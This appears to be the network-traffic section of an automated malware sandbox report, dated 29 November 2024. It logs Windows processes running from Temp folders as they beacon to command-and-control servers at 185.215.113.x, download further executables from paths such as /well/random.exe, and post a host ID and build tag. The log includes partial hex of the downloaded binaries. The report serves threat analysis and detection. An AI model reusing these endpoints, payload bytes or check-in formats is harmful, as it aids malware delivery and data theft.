d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e8 97 48 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 e0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 69 00 00 04 00 00 8d 41 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELHg"h@iA@M$a$$ $b@.rsrc$r@.idata $t@ P$v@ihmwfsmwOx@vvsaypnnh@.taggant0h".@
Nov 29, 2024 20:07:38.969403982 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:38.969731092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:38.969810963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:38.969820976 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:38.970443010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:38.970534086 CET	1236	IN	Data Raw: a2 b5 19 e8 97 cf df c8 84 bd 26 6f 5c e4 77 e1 18 1f e1 4e e4 b2 29 bf 93 b4 65 c6 aa 37 fd 37 ae bd da b1 29 59 4d b0 83 fb 30 95 11 43 46 fa d4 4a 43 87 95 d2 9d 71 97 b3 d5 51 a5 9b 75 49 99 1e 48 8a 97 cc 36 dd 2f fb d2 e1 1f 12 51 ae 53 b9 Data Ascii: &o\wN)e77)YM0CFJCqQuIH6/QS"RMA[N`ZBpDT{X`m<C7Mz8c7Sr+kcUEw45$}`Jb<s9;8GX(SM0P VZ;8N
Nov 29, 2024 20:07:38.970544100 CET	248	IN	Data Raw: dd 81 a0 66 9f 2c 0a d7 63 74 f2 62 68 6c 58 97 08 b4 c3 bb 00 b5 cd d0 25 24 08 58 3f f6 2d 94 49 d7 8f 26 fa f8 e1 fd 90 d0 e0 00 69 8e 11 e3 1b c5 e3 16 4d f9 7e 14 9d 0f 60 1b 26 cf 58 1b bb 9b 2e cd a1 e9 39 8c 88 ae 15 c2 0e bd 91 a2 56 00 Data Ascii: f,ctbhlX%$X?-I&iM~`&X.9V`k%VWN1hJ?:ya$jK`Vkj'>*zQ?VJ=s`BY7dB9404]RS2+/"ENP}h/bB6Y
Nov 29, 2024 20:07:38.971916914 CET	1236	IN	Data Raw: 9d 81 bd 4c 91 32 f9 f0 43 8b 88 02 48 89 d2 72 49 60 68 b1 20 a9 2e 87 b9 ac a1 f8 cf 27 e6 8d 53 b2 78 fe 57 a7 f0 a9 13 21 fc cf 2d 19 92 ae a3 79 cb 9f bf 9a 31 a8 93 36 f1 ee 38 34 f8 95 87 5a a6 d5 a0 cb 23 ba 3c 98 bd 2b 74 00 7b de 13 bb Data Ascii: L2CHrI`h .'SxW!-y1684Z#<+t{Y Wq[7d$?#h&al@>_1]?]r\|=6Jb';*K9}#uu}_/!\]$`3aq@a]1`$!v-{
Nov 29, 2024 20:07:38.972023964 CET	1236	IN	Data Raw: 65 eb c1 97 77 43 02 bf 3a ca ad af 5c 0b 1b 99 ab 37 d9 12 5e ed 92 e4 ab a1 4f 87 27 a7 6d de b0 03 df 18 a3 ab 73 9f 81 37 91 5e b4 9c dd 1e fe eb 41 99 0b 37 83 16 10 f9 48 ee da cb 9d a0 ab 60 53 f2 1f 9f 62 8a 19 cf 81 2a ad 8b 83 6e ab 5e Data Ascii: ewC:\7^O'ms7^A7H`Sbn^HW7Yyc QBQk^^cw~F;i3H4Z_BFPJYk727yNmCj8)HY[P,\|1+Ob
Nov 29, 2024 20:07:39.090923071 CET	1236	IN	Data Raw: 59 cc dd eb c3 87 f0 56 3a a5 41 b0 d9 36 8a 84 b9 a5 31 96 19 9f 83 3e 13 97 55 8b 9f 64 51 92 51 97 4f ae cb 3f d9 38 ab 97 08 97 12 d6 c2 7e a4 b0 83 9a f3 5b 51 29 d1 f3 50 97 77 d7 05 2e 5f 81 51 6c 38 a3 e1 9f 59 27 80 12 aa 0a 98 c7 b3 23 Data Ascii: YV:A61>UdQQO?8~[Q)Pw._Ql8Y'#OC +)FQ>t#?Y['QY\|Co8O{Q&?^MY#P'7V&W/twt[0k3e6[*Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50074	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:44.485316038 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010361001&unit=246122658369
Nov 29, 2024 20:07:45.883604050 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50075	185.215.113.206	80	884	C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:45.583998919 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 20:07:46.962636948 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 20:07:46.968779087 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 46 38 43 37 39 32 31 33 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 2d 2d 0d 0a Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="hwid"90F8C79213F51660493485------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="build"drum------GDGHJEHJJDAAAKEBGCFC--
Nov 29, 2024 20:07:47.420731068 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50077	185.215.113.16	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:46.010864019 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 29, 2024 20:07:47.433705091 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:47 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Fri, 29 Nov 2024 18:36:32 GMT Connection: keep-alive ETag: "674a09b0-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a8 09 4a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELJg"dw@pU@@@d\|@Pu4@.text `.rdata@@.datalpH@.rsrcP@@@.relocuv@B
Nov 29, 2024 20:07:47.433715105 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 29, 2024 20:07:47.434329033 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 29, 2024 20:07:47.434415102 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 29, 2024 20:07:47.434423923 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 29, 2024 20:07:47.435264111 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 29, 2024 20:07:47.435339928 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 29, 2024 20:07:47.435348034 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 29, 2024 20:07:47.435558081 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 29, 2024 20:07:47.435722113 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 29, 2024 20:07:47.553849936 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50081	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:51.906749964 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 36 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010362001&unit=246122658369
Nov 29, 2024 20:07:53.307518959 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50083	185.215.113.16	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:53.443205118 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 29, 2024 20:07:54.881351948 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:54 GMT Content-Type: application/octet-stream Content-Length: 2799616 Last-Modified: Fri, 29 Nov 2024 18:36:58 GMT Connection: keep-alive ETag: "674a09ca-2ab800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 15 07 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@ltedtzog`X:@bxhrajpy +@.taggant@ +"@
Nov 29, 2024 20:07:54.881366968 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:54.884267092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:54.884341955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:54.884351015 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:54.886706114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:54.886779070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:54.886787891 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:54.889375925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:54.889499903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:55.001399040 CET	1236	IN	Data Raw: 64 f7 c6 0d 60 b5 09 c1 3b 95 03 08 1b c6 3b 25 82 65 26 19 7f da df 09 02 d0 7e 14 2c a0 92 5e 21 eb 1c 1c ff cb 3f 40 48 c1 46 28 58 ce 3f 2f 7f e5 10 18 8d 42 0b c3 55 d5 6a 9b 93 b7 90 c3 85 e4 33 ec 3a d5 67 3b f3 c8 d9 9b 93 b7 90 31 84 f0 Data Ascii: d`;;%e&~,^!?@HF(X?/BUj3:g;13Fd$mp~&eD4sAW] rc6GC_J6DVsy~-?0kg0d.<Z'IbM]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50097	185.215.113.206	80	412	C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:08:02.862133026 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 20:08:04.247988939 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50098	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:08:03.011831999 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010363001&unit=246122658369
Nov 29, 2024 20:08:04.370996952 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50070	172.67.165.166	443	6692	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:38 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-11-29 19:07:38 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-29 19:07:38 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t31fed6rd4mmbgb5vbl96rlf5e; expires=Tue, 25-Mar-2025 12:54:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=04IqUMoJ2JnJJp%2FDWIBp6XRfyYbTL08sGYiv6jcQCtnmM9YUZ%2Bmfm0BxuBmY4%2F9XR5Ym0SVGzzfTTlW6WfGcdGGdC%2FcJkiibMobRIYcKWq6ebGT6hFaye%2Bxi1yPszFahIY7CRL0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e1bc39116a52-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1744&min_rtt=1736&rtt_var=668&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1615938&cwnd=210&unsent_bytes=0&cid=08c0e44e146265e4&ts=981&x=0"
2024-11-29 19:07:38 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 19:07:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
